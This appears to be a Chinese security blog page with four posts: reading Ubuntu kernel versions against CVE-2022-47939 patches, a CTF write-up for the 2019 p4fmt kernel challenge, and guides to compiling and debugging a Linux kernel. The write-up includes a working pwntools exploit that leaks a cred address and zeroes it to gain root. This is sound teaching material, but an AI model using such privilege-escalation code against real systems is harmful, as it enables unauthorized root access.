【資安小知識】Linux Kernel 出漏洞 Ubuntu 該升級哪一版?

因為去年底出的一個新的 Kernel 漏洞 CVE-2022-47939,要幫忙檢查 Ubuntu 有沒有需要更新 Kernel,所以就寫了這篇記錄一下。

首先,這個漏洞在 mitre 的 cve 頁面 中寫了影響的範圍是 Linux kernel 5.15 through 5.19 before 5.19.2,出問題的是 ksmbd 這個 kernel module,他是在 5.15 版本被引入的,所以 5.15 之前的版本就沒事,最後是在 這個 commit 中修掉的,這個 commit 的 message 是 ksmbd: fix use-after-free bug in smb2_tree_disconect,跟在 mitre 的 cve 的敘述中寫的一樣,在頁面下方的 References 其實也可以看到這個 commit 的連結。

所以我們知道有問題的 Linux Kernel 版本是什麼,但是我要怎麼在 Ubuntu 上面看我的 Linux Kernel 是幾版,上網查一下或是問 chatgpt,其實就可以得到這個指令 uname -r,執行這個指令之後,在我的機器上給出了 5.15.0-58-generic 這樣的版本號,看起來是 5.15 版本,是在有漏洞的範圍裡面,但其實並沒有,因為這是 Ubuntu 自己 build 的版本號,並不是 Linux Kernel 的版本號,Ubuntu 的版本號的命名慣例是 <base kernel version>-<ABI number>.<upload number>-<flavour>,你會發現把剛剛的 5.15.0-58-generic 套在這個格式上看好像少了一個 upload number,我們可以用 cat /proc/version_signature 查看比較詳細的版本號,在我的機器上的結果是 Ubuntu 5.15.0-58.64-generic 5.15.74,分別是

  • base kernel version: 5.15.0
  • ABI number: 58
  • upload number: 64
  • flavour: generic
  • upstream linux kernel: 5.15.74

最後他還多給了一個 upstream linux kernel 的版本號。ABI number 指的是 kernel 本身開出來的 application binary interface 介面的版本號,如果你把 kernel 看成是一個後端 server,那他就是指你的 REST API 的接口,所以可能會跟 upload number 不同,因為可能兩個不同的 kernel 版本只是修了些 bug,沒有開新的 api,或是 api 的參數沒有變化,這時候這個 ABI number 就不會變。而 upload number 單純就是一個流水號,指從這個 5.15.0 base kernel version 長出來的第幾個版本,所以我們可以看這個號碼來分辨前後順序。

Ubuntu Secuity: CVE-2022-47939 發布的漏洞公告中,我們可以看到他有列出他們上 patch 的版本,Ubuntu 22.04 (jammy) 的是 5.15.0-53.59,我們可以直接去看 Ubuntu linux source package 中 5.15.0-53.59 版本的 Changlog,這裡我們搜尋 smb2_tree_disconect 就可以找到在這個版本的更新有納入 v5.15.61 upstream linux kernel 其中修掉了這次的 CVE-2022-47939,而我的機器是 5.15.0-58.64,是在 5.15.0-53.59 後面的,所以其實我的機器的 Linux Kernel 已經有修補掉這個漏洞了。

總結來說,在 Ubuntu 下 uname -r 得到的版本號其實不能直接對應到 Linux Kernel 的版本號,Ubuntu 本身是從 Linux 分支出來的,所以自己有一個版本號,我們這次介紹了 Ubuntu 版本號各個欄位的意思,並且找到我們的版本號其實是已經有上 patch 了,這樣之後出新的漏洞就可以知道要升級到哪個版本可以修補掉漏洞。

Read more

【CTF Writeups】Teaser Confidence CTF Quals 2019 - p4fmt

Kernel challs are always a bit painful. No internet access, no SSH, no file copying. You’re stuck with copy pasting base64’d (sometimes static) ELFs. But what if there was another solution? We’ve created a lightweight, simple binary format for your pwning pleasure. It’s time to prove your skills.
nc p4fmt.zajebistyc.tf 30002

分數 解題人數
304 10

Writeup

題目檔案解壓縮後有三個檔案 bzImage, initramfs.cpio.gz, run.sh

bzImage 是壓縮過的 linux kernel
initramfs.cpio.gz 是臨時的檔案系統
run.sh 裡面用 qemu-system-x86_64 把 kernel 跑起來

不熟悉 linux kernel debug 可以參考 Debug Kernel

First Glance

run.sh 跑起來後就會跑 linux kernel 彈出一個 shell
ls 一下可以看到三個比較重要的檔案 init, p4fmt.ko, flag
直接嘗試 cat flag 會得到 Permission denied
因為我們拿到的使用者是 pwnflag 只有 root 有權限讀
init 裡面有一行 insmod /p4fmt.ko 加載 p4fmt.ko 這個內核模塊
看來我們的目標就是利用 p4fmt.ko 裡面的漏洞提權拿 root 權限,就可以 cat flag

前置作業

解壓 initramfs.cpio.gz

可以先用 binwalkinitramfs.cpio.gz 的檔案系統拉出來

1
2
x initramfs.cpio.gz
binwalk -e initramfs.cpio

修改 init

1
setsid cttyhack su root

修改 init 讓我們有 root 權限,這樣才看得到 p4fmt.ko 內核模塊載入後的位址,等等才方便下斷點
修改完重新打包 initramfs.cpio.gz

1
find . -print0 | cpio --null --create --format=newc | gzip --best > ../initramfs.cpio.gz

修改 run.sh

1
-gdb tcp:127.0.0.1:6666

開了 gdb server 後,就可以用 gdb 連上去 debug 了
首先先取得 p4fmt 內核模塊的位址
可以用 lsmodcat /proc/modules ( 必須有 root 權限 )

gdb
1
2
3
(gdb) target remote :6666
(gdb) add-symbol-file p4fmt.ko 0xffffffffc0288000
(gdb) b load_p4_binary # 這是 p4fmt 主要的函式等等逆向會看到
"取得 p4fmt 位址"
1
2
3
4
/ # lsmod
p4fmt 16384 0 - Live 0xffffffffc0288000 (O)
/ # cat /proc/modules
p4fmt 16384 0 - Live 0xffffffffc0288000 (O)

逆向

起手式一樣 IDA 打開 ( 好像很多人改用 ghidra 了 O_O )
但是這次的反編譯有點糟,大部分還是看組語配 gdb
這個內核模塊主要的功能就是註冊一個新的執行檔格式 ( binary format )

1
2
3
4
5
6
7
int __init p4fmt_init (void) {
_register_binfmt(&p4format, 1);
}

void __exit p4fmt_init (void) {
unregister_binfmt(&p4format);
}

p4format 是一個 linux_binfmt 的結構

1
2
3
4
5
6
7
8
struct linux_binfmt {
struct list_head lh;
struct module *module;
int (*load_binary)(struct linux_binprm *);
int (*load_shlib)(struct file *);
int (*core_dump)(struct coredump_params *cprm);
unsigned long min_coredump; /* minimal dump size */
} __randomize_layout;

其中的 load_binary 這個指標就是指向負責建立環境把程式跑起來的函式
而在這裡就是指向 load_p4_binary 這個函式 ( 一般的 ELF 執行檔是 load_elf_binary )

1
2
3
int load_p4_binary (linux_binprm *bprm) {
...
}

linux_binprm 會先讀檔案的前 128 bytes 放進 bprm->buf
因為有這個結構有 __randomize_layout,所以結構成員的順序是隨機的
這題的 bprm->buf0x48 開始 128 bytes,可見下圖

程式一開始會先檢查前兩個 bytes 是不是 P4
接著檢查第三個 byte 是不是 \x00,不是的話會噴 Unknown version
接著第四個 byte 可以是 \x00\x01\x00 的話會進簡單的路線,\x01 會進複雜的路線
接著四個 bytes 代表後面有幾個 mapping
接著八個 bytes 代表 mapping 的開頭在 buf 的 offset
接著八個 bytes 擺的是 entry point 的位址
其他的部分基本上跟 load_elf_binary 一樣

simple
1
vm_mmap(bprm->file, *(QWORD *)(bprm + 0x50), 0x1000, *(QWORD *)(bprm + 0x50) & 7, 2, 0);
complex
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct p4_mapping {
long load_addr;
long length;
long offset;
};

int mapping_count = *(int *)(bprm->buf + 4);
long mapping_offset = *(long *)(bprm->buf + 8);

p4_mapping *mapping = bprm->buf + mapping_offset;

for (int i = 0; i < mapping_count; i++, mapping++) {
long addr = mapping->load_addr & 0xFFFFFFFFFFFFF000;
long prot = mapping->load_addr & 7;

printk("vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n", addr, mapping->length, mapping->offset, prot);

if (mapping->load_addr & 8) {
// 這裡就是要初始化一段記憶體,類似 .bss 段
vm_mmap(0, addr, mapping->length, prot, 2, mapping->offset);
printk("clear_user(addr=0x%llx, length=0x%llx)\n", mapping->load_addr, mapping->length);
_clear_user(mapping->load_addr, mapping->length);
} else {
// 這裡是要把檔案掛上去,類似 .text 段
vm_mmap(bprm->file, addr, mapping->length, prot, 2, mapping->offset);
}
}

漏洞

mapping_count 改大可以 leak linux_binprm 其他欄位的值
_clear_user 沒有檢查,可以把 kernel 上任意位址的值清空
linux_binprm 有一個 cred 的結構,裡面存的就是 uid, gid
所以我們只要 leak 出這個 cred 的位址,然後用 _clear_user 清成 0,我們的程式就是 root 權限了 ( root 的 uid 是 0 )

嘗試

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
from pwn import *
from base64 import b64encode

context.arch = "amd64"

payload = b"P4" # magic
payload += p8(0) # version
payload += p8(1) # type
payload += p32(1) # mapping_count
payload += p64(0x18) # mapping_offset
payload += p64(0x400030) # entry

# mapping
payload += flat(
0x400000 | 7,
0x1000,
0
)

payload += asm(shellcraft.echo("test\n") + shellcraft.exit())

print(f'echo {b64encode(payload).decode()} | base64 -d > a ; chmod +x a ; ./a')

先寫個簡單的 p4 格式的執行檔測試一下我們的理解是不是對的

command
1
echo UDQAAQEAAAAYAAAAAAAAADAAQAAAAAAABwBAAAAAAAAAEAAAAAAAAAAAAAAAAAAASLgBAQEBAQEBAVBIuHVkcnULAQEBSDEEJGoBWGoBX2oFWkiJ5g8FajxYDwU= | base64 -d > a ; chmod +x a ; ./a
output
1
2
[50353.170813] vm_mmap(load_addr=0x400000, length=0x1000, offset=0x0, prot=7)
test

接下來要找 cred 的位址,因為 pwnuid 是 1000 ( = 0x3e8 )
所以我們把使用者切換成 pwn,切成 pwn 之後要在 /tmp 才可以寫檔
然後把 mapping_count 改大一點,比如 6,在他印出的位址指向的值中找 0x3e8

1
2
3
4
5
6
7
8
[50800.668734] vm_mmap(load_addr=0x400000, length=0x1000, offset=0x0, prot=7)
[50800.674080] vm_mmap(load_addr=0x10101010101b000, length=0x726475b848500101, offset=0x431480101010b75, prot=0)
[50800.674550] clear_user(addr=0x10101010101b848, length=0x726475b848500101)
[50800.675372] vm_mmap(load_addr=0x6a5f016a58016000, length=0x6a050fe689485a05, offset=0x50f583c, prot=4)
[50800.675786] vm_mmap(load_addr=0x0, length=0x0, offset=0x0, prot=0)
[50800.676003] vm_mmap(load_addr=0x0, length=0x7fffffffef99, offset=0x100000001, prot=0)
[50800.676260] vm_mmap(load_addr=0x0, length=0xffffa1c307595b40, offset=0x0, prot=0)
test

找了一找發現在第六個 vm_mmap0xffffa1c307595b40 這個位址是 cred
但是這個位址每次跑起來都不一樣,不過多跑幾次會發現,這個值會一直循環重複利用,所以只要多跑幾次就會對了

Final Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
from pwn import *
from base64 import b64encode

context.arch = "amd64"

payload = b"P4" # magic
payload += p8(0) # version
payload += p8(1) # type
payload += p32(2) # mapping_count
payload += p64(0x18) # mapping_offset
payload += p64(0x400048) # entry

leak_cred = 0xffff9855c758c0c0

# mapping
payload += flat(
0x400000 | 7,
0x1000,
0,

(leak_cred | 8) + 0x10,
0x20,
0
)

payload += asm(shellcraft.cat("/flag") + shellcraft.exit())

print(f'echo {b64encode(payload).decode()} | base64 -d > a ; chmod +x a ; ./a')

  1. https://github.com/david942j/ctf-writeups/tree/master/teaser-confidence-quals-2019/p4fmt
  2. https://devcraft.io/2019/03/19/p4fmt-confidence-ctf-2019-teaser.html
  3. https://amritabi0s.wordpress.com/2019/03/19/confidence-ctf-p4fmt-write-up/
Read more

【手把手教你玩 Linux Kernel】如何編譯 Linux Kernel

原始碼下載

可以從 www.kernel.org 下載最新的 kernel ( 我是下載 5.0.9 的 )

1
2
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.0.9.tar.xz
x linux-5.0.9.tar.xz

設置編譯參數

1
make menuconfig

有選單可以客製化,選完之後會產生 .config

編譯

1
make -j$(nproc)

-j 多個程序並行編譯

make help

可以用 make help 看看有哪些參數可以用

安裝

1
make -j$(nproc) modules_install

安裝內核模塊 ( kernel module )
會裝到 /lib/modules/

1
make -j$(nproc) install

安裝內核本體
會裝到 /boot
並且會自動更新 grub
下次重啟系統就會是新的內核

安裝到其他目錄

1
export INSTALL_PATH=/path/to/install


  1. https://www.cyberciti.biz/tips/compiling-linux-kernel-26.html
  2. https://stackoverflow.com/questions/35931157/change-linux-kernel-installation-directory
Read more

【手把手教你玩 Linux Kernel】如何對 Kernel 除錯

編譯 kernel

參考 Compile Kernel

initramfs

1
2
mkdir --parents initramfs/{bin,dev,etc,lib,lib64,mnt/root,proc,root,sbin,sys}
cp `which busybox` initramfs/bin/

busybox 是集成了很多常用 linux 命令的工具
接下來我們需要編輯兩個檔案,initramfs/initinitramfs/etc/passwd

init

tab
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/busybox sh

/bin/busybox mkdir -p /usr/sbin /usr/bin /sbin /bin
/bin/busybox --install -s

mount -t proc none /proc
mount -t sysfs none /sys

ln -s /dev/console /dev/ttyS0

sleep 2

setsid cttyhack su root

poweroff -f

kernel 跑起來的時候會檢查是否有 initramfs,有的話就會把它 mount 在 / 然後跑 /init

passwd

tab
1
root:x:0:0::/root:/bin/sh

打包

1
2
cd initramfs
find . -print0 | cpio --null --create --verbose --format=newc | gzip --best > ../initramfs.cpio.gz

qemu-system

tab
1
2
3
4
5
6
#!/bin/bash
qemu-system-x86_64 -kernel ./linux-5.0.9/arch/x86_64/boot/bzImage \
-initrd ./initramfs.cpio.gz \
-nographic \
-append "console=ttyS0 nokaslr" \
-gdb tcp:127.0.0.1:7777

nokaslr 關掉 kernel 的位址隨機化,方便我們除錯
-gdb 開一個 gdb server 讓我們可以連上去除錯

如何跳出 qemu-system

Ctrl-A X

gdb

1
2
3
4
5
6
7
8
(gdb) target remote :7777
(gdb) set auto-load safe-path .
(gdb) file ./linux-5.0.9/vmlinux
(gdb) apropos lx # 顯示包含 lx 的指令 ( 從 vmlinux-gdb.py 載入的輔助函式 )
lx-cmdline -- Report the Linux Commandline used in the current kernel
lx-cpus -- List CPU status arrays
lx-dmesg -- Print Linux kernel log buffer
...

因為 gdb 會自動載入一些檔案,但有些檔案可能是不可信任的
set auto-load safe-path 就是設定可以信任的路徑,底下的檔案會自動載入,比如說一些 python script
這裡我們要載入的是 ./linux-5.0.9/vmlinux-gdb.py


  1. https://blog.csdn.net/DrottningholmEast/article/details/76651580
  2. https://wiki.gentoo.org/wiki/Custom_Initramfs
  3. http://nickdesaulniers.github.io/blog/2018/10/24/booting-a-custom-linux-kernel-in-qemu-and-debugging-it-with-gdb/
  4. https://blog.csdn.net/chrisniu1984/article/details/3907874
Read more